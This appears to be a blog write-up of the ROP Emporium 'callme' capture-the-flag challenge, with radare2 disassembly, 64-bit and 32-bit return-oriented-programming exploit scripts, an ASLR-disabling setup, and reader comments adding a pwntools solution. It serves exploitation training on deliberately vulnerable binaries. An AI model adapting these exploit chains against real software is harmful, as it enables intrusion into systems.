Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.
The binary and challenge description can be found here:
https://ropemporium.com/challenge/callme.html
The 64-bit version of this challenge is actually very similar to the previous challenge, though we’re now making multiple function calls that require arguments instead of just one. The 32-bit version, however, requires a bit more thought. So I’ll cover solutions to both versions.
64-bit Version
The challenge page gives us a lot of info to reduce the need to do any RE, though it doesn’t eliminate that. We know that we need to pass the integers 1, 2, and 3 to the callme functions. But how are the integers passed? 64-bit programs usually pass integers via the registers, but which registers? Let’s look at the assembly for callme_one() to figure it out:
andrew ~/callme $ r2 libcallme.so [0x000007f0]> aa [Cannot analyze at 0x000007e0g with sym. and entry0 (aa) Cannot analyze at 0x000007e8 [x] Analyze all flags starting with sym. and entry0 (aa) [0x000007f0]> pdf @ sym.callme_one ┌ (fcn) sym.callme_one 228 │ sym.callme_one (int32_t arg1, int32_t arg2, int32_t arg3); │ ; var int32_t var_1ch @ rbp-0x1c │ ; var int32_t var_18h @ rbp-0x18 │ ; var int32_t var_14h @ rbp-0x14 │ ; var int32_t var_8h @ rbp-0x8 │ ; arg int32_t arg1 @ rdi │ ; arg int32_t arg2 @ rsi │ ; arg int32_t arg3 @ rdx │ 0x000008f0 push rbp │ 0x000008f1 mov rbp, rsp │ 0x000008f4 sub rsp, 0x20 │ 0x000008f8 mov dword [var_14h], edi ; arg1 │ 0x000008fb mov dword [var_18h], esi ; arg2 │ 0x000008fe mov dword [var_1ch], edx ; arg3 │ 0x00000901 cmp dword [var_14h], 1 │ ┌─< 0x00000905 jne 0x9bb │ │ 0x0000090b cmp dword [var_18h], 2 │ ┌──< 0x0000090f jne 0x9bb │ ││ 0x00000915 cmp dword [var_1ch], 3 │ ┌───< 0x00000919 jne 0x9bb
We can see that the values of EDI, ESI, and EDX are saved to places on the stack reserved for local variables. We can see that EDI is compared to 1, ESI is compared to 2, and EDX is compared to 3. So our ROP chain will need to include a way of getting those values saved to those registers before calling the callme
functions.
Past challenges included “useful” functions. Using rabin2
, we see two symbols:
andrew ~/callme $ rabin2 -s callme | grep useful 039 0x00001a57 0x00401a57 LOCAL FUNC 74 usefulFunction 076 0x00001ab0 0x00401ab0 GLOBAL NOTYPE 0 usefulGadgets
While usefulGadgets isn’t a function, it’s easy enough to find with objdump
:
andrew ~/callme $ objdump -Mintel --no-show-raw-insn -d callme ... 0000000000401ab0 <usefulGadgets>: 401ab0: pop rdi 401ab1: pop rsi 401ab2: pop rdx 401ab3: ret 401ab4: nop WORD PTR cs:[rax+rax*1+0x0] 401abe: xchg ax,ax ...
We can also find it in radare2 by scrolling through Visual mode:
That gadget, at 0x401ab0
, is exactly what we need. Pop 3 items off the stack into the necessary registers, followed by ret
.
So when we build this exploit, we’ll need need the buffer to contain the address for the gadget (0x401ab0
), the 3 integer values (1, 2, & 3), and the address of the callme
function. That will repeat 3 times, once for each callme
function. The input should look something like this:
"A" * 40 => buffer Address1 => usefulGadget ─┐ Integer1 => 0x0000000000000001 │ Integer2 => 0x0000000000000002 ├─ Repeats 3 times Integer3 => 0x0000000000000003 │ Address2 => callme_one() ─┘
Now I just need the addresses of the callme
functions:
andrew ~/callme $ rabin2 -s callme | grep callme_ 004 0x00001810 0x00401810 GLOBAL FUNC 16 imp.callme_three 008 0x00001850 0x00401850 GLOBAL FUNC 16 imp.callme_one 011 0x00001870 0x00401870 GLOBAL FUNC 16 imp.callme_two
Solution
As a final solution, I put together this Python script:
#!/usr/bin/env python3 import struct import sys gadget = struct.pack("Q", 0x401ab0) # pop rdi; pop rsi; pop rdx; ret one = struct.pack("Q", 0x1) two = struct.pack("Q", 0x2) three = struct.pack("Q", 0x3) buf = b"A" * 40 buf += gadget buf += one buf += two buf += three buf += struct.pack("Q", 0x401850) # callme_one() buf += gadget buf += one buf += two buf += three buf += struct.pack("Q", 0x401870) # callme_two() buf += gadget buf += one buf += two buf += three buf += struct.pack("Q", 0x401810) # callme_three() sys.stdout.buffer.write(buf)
Running the exploit:
andrew ~/callme $ ./exploit.py | ./callme callme by ROP Emporium 64bits Hope you read the instructions... > ROPE{a_placeholder_32byte_flag!}
32-bit Version
Before diving into the 32-bit version, I would like to point out a very useful Phrack article that describes a technique for chaining function calls in a ROP chain: http://phrack.org/issues/58/4.html#article
Specifically, the “3.3 – frame faking” section. I would recommend reading that before attempting this.
There’s one major difference between the 32-bit version and 64-bit version. Arguments are passed to the callme
functions via the stack in the 32-bit version. Let’s look at the disassembly for callme_one():
[0x000005a0]> pdf @ sym.callme_one ┌ (fcn) sym.callme_one 253 │ sym.callme_one (int32_t arg_8h, int32_t arg_ch, int32_t arg_10h); │ ; var int32_t var_ch @ ebp-0xc │ ; var int32_t var_4h @ ebp-0x4 │ ; arg int32_t arg_8h @ ebp+0x8 │ ; arg int32_t arg_ch @ ebp+0xc │ ; arg int32_t arg_10h @ ebp+0x10 │ 0x000006d0 push ebp │ 0x000006d1 mov ebp, esp │ 0x000006d3 push ebx │ 0x000006d4 sub esp, 0x14 │ 0x000006d7 call entry0 │ 0x000006dc add ebx, 0x1924 │ 0x000006e2 cmp dword [arg_8h], 1 │ ┌─< 0x000006e6 jne 0x7ab │ │ 0x000006ec cmp dword [arg_ch], 2 │ ┌──< 0x000006f0 jne 0x7ab │ ││ 0x000006f6 cmp dword [arg_10h], 3 │ ┌───< 0x000006fa jne 0x7ab
You can see that the integers 1, 2, and 3 are compared to arguments on the stack. These are ebp+0x8
, ebp+0xc
, and ebp+0x10
respectively.
This makes the job of calling consecutive functions a little more difficult. If we only needed to call one of these functions, our exploit payload would look something like this:
"A" * 40 => buffer Address1 => callme_one() Address2 => dummy return value Integer1 => 0x00000001 Integer2 => 0x00000002 Integer3 => 0x00000003
However, since we need to call callme_two() right afterward, we can’t just put it’s address in the spot of Address2
because that is going to need it’s own saved return value, which is where Integer1
currently sits.
We can, however, use the “frame faking” method described in the Phrack article. First, we need to find a "leave; ret"
gadget, which is a typical function epilogue. The leave
instruction is equivalent to mov esp, ebp; pop ebp while the ret
instruction is simply pop eip. For this to work, our buffer of A’s needs to stop before the saved EBP value. We overwrite the saved EBP value with a pointer to the next “frame’s” saved EBP value. We overwrite the saved EIP pointer with a pointer to the “leaveret” gadget. After that the first “frame” begins, which includes a saved EBP value (which is a pointer to the next frame’s EBP), a pointer to the first function call (callme_one() in this case), a pointer to the leaveret gadget, followed by the required arguments. I’ll try to visualize this:
Address | Content | Description -----------+------------+------------- 0x00000000 | "A" * 40 | Buffer 0x00000020 | 0x00000028 | Fake ebp0 pointing to next ebp 0x00000024 | GadgetAddr | Address to leaveret gadget 0x00000028 | 0x00000040 | Fake ebp1 pointing to fake ebp2 ─┐ 0x0000002c | callme_one | Address to callme_one() │ 0x00000030 | GadgetAddr | Address to leaveret gadget ├─ Repeats 3 times 0x00000034 | 0x00000001 | Integer 1 │ 0x00000038 | 0x00000002 | Integer 2 │ 0x0000003c | 0x00000003 | Integer 3 ─┘
The only problem with this approach is that you need the exact addresses of your fake EBP values on the stack. I could easily find where everything is on the stack by running the program through a debugger, like GDB or rardare2. However, the stack addresses will be different as the environment variables differ when run through debuggers. Instead, I’ll enable core dumps, cause a segfault, and analyze the dump in a debugger. Also, I’ll want to make sure ASLR is disabled:
andrew ~/callme32 $ sudo -i root ~ # echo 0 > /proc/sys/kernel/randomize_va_space root ~ # ulimit -c unlimited root ~ # echo core > /proc/sys/kernel/core_pattern root ~ # exit logout andrew ~/callme32 $ python2 -c 'print "A"*45' | ./callme32 callme by ROP Emporium 32bits Hope you read the instructions... > Segmentation fault (core dumped) andrew ~/callme32 $ ls callme32 core.2458 encrypted_flag.txt key1.dat key2.dat libcallme32.so
Now that I have the core dump, I can analyze it in radare2. I’ll see the value of the EIP register, search for that value (since I know it’s on the stack) and subtract 8 from that to get the location of the saved EBP pointer:
andrew ~/callme32 $ r2 core.2458 Setting up coredump arch-bits to: x86-32 Setting up coredump: Registers have been set Setting up coredump: 22 maps have been found and created [0x08000a41]> dr eip 0x08000a41 [0x08000a41]> /x 410a0008 Searching 4 bytes in [0xfffdd000-0xffffe000] hits: 1 Searching 4 bytes in [0xf7ffd000-0xf7ffe000] hits: 0 ...snip... Searching 4 bytes in [0x8049000-0x804a000] hits: 0 Searching 4 bytes in [0x8048000-0x8049000] hits: 0 0xffffd13c hit0_0 410a0008 [0x08000a41]> fs search [0x08000a41]> f 0xffffd13c 4 hit0_0
The saved EIP return value was at 0xffffd13c, which means the saved EBP value was at 0xffffd138.
Solution
For my script, I made it easy by requiring only the location of the original saved EBP value. The calculations are automatically done to get each saved EBP value to point to the next.
#!/usr/bin/env python3 import struct import sys import time leaveret = struct.pack("I", 0xf7fca635) # leave; ret one = struct.pack("I", 0x1) two = struct.pack("I", 0x2) three = struct.pack("I", 0x3) ebp = 0xffffd138 # Location of the original saved EBP value on the stack buf = b"A" * 40 buf += struct.pack("I", ebp + 8) # fake ebp0 buf += leaveret buf += struct.pack("I", ebp + 32) # fake ebp1 buf += struct.pack("I", 0x080485c0) # callme_one() buf += leaveret buf += one buf += two buf += three buf += struct.pack("I", ebp + 56) # fake ebp2 buf += struct.pack("I", 0x08048620) # callme_two() buf += leaveret buf += one buf += two buf += three buf += struct.pack("I", ebp + 80) # fake ebp3 buf += struct.pack("I", 0x080485b0) # callme_three() buf += leaveret buf += one buf += two buf += three sys.stdout.buffer.write(buf)
Running the exploit:
andrew ~/callme32 $ ./exploit.py | ./callme32 callme by ROP Emporium 32bits Hope you read the instructions... > ROPE{a_placeholder_32byte_flag!}
Hi,
thanks for your blog, great work! Just one addition. In the 64-bit solution, after invoking the callme_three() function, you don’t need to invoke gadget and set up one,two,three again. It’s the end of it. The last line being callme_three() is sufficient for the exploit to work.
I hope this helps to perfect your solution 🙂
Regards,
qmi
Good catch. Thank you, much! I’ll update it.
#This is my callme32 writeup
# pwnme(overflow) -> callme_one -> pwnme(overflow) -> callme_two -> pwnme(overflow) -> callme_three -> 0x41414141
from pwn import *
context.terminal = [“tmux”, “split-window”, “-h”]
callme32_process = process(“callme32”)
callme32 = ELF(“callme32”)
callme_one_plt = callme32.plt[“callme_one”]
callme_two_plt = callme32.plt[“callme_two”]
callme_three_plt = callme32.plt[“callme_three”]
pwnme = callme32.symbols[“pwnme”]
exp = “A” * (0x28 + 0x4)
exp += p32(callme_one_plt)
exp += p32(pwnme)
exp += p32(1)
exp += p32(2)
exp += p32(3)
callme32_process.sendline(exp)
exp0 = “A” * 44
exp0 += p32(callme_two_plt)
exp0 += p32(pwnme)
exp0 += p32(1)
exp0 += p32(2)
exp0 += p32(3)
callme32_process.sendline(exp0)
exp1 = “A” * 44
exp1 += p32(callme_three_plt)
exp1 += p32(0x41414141)
exp1 += p32(1)
exp1 += p32(2)
exp1 += p32(3)
callme32_process.sendline(exp1)
print(callme32_process.recvall())
callme32_process.interactive()
I run the x64 version of the binary I hit the gadget I prepare the stack I pass the first check but after this, the execution continues after the call callme_one() instruction. the library function uses leave; ret; as epilogue any Idea how to solve this
You shouldn’t need to call any library functions. Did you test my solution on it? If it doesn’t work, that’s because ROP Emporium has updated a lot of (if not most of) the binaries have been updated since I wrote up these solutions.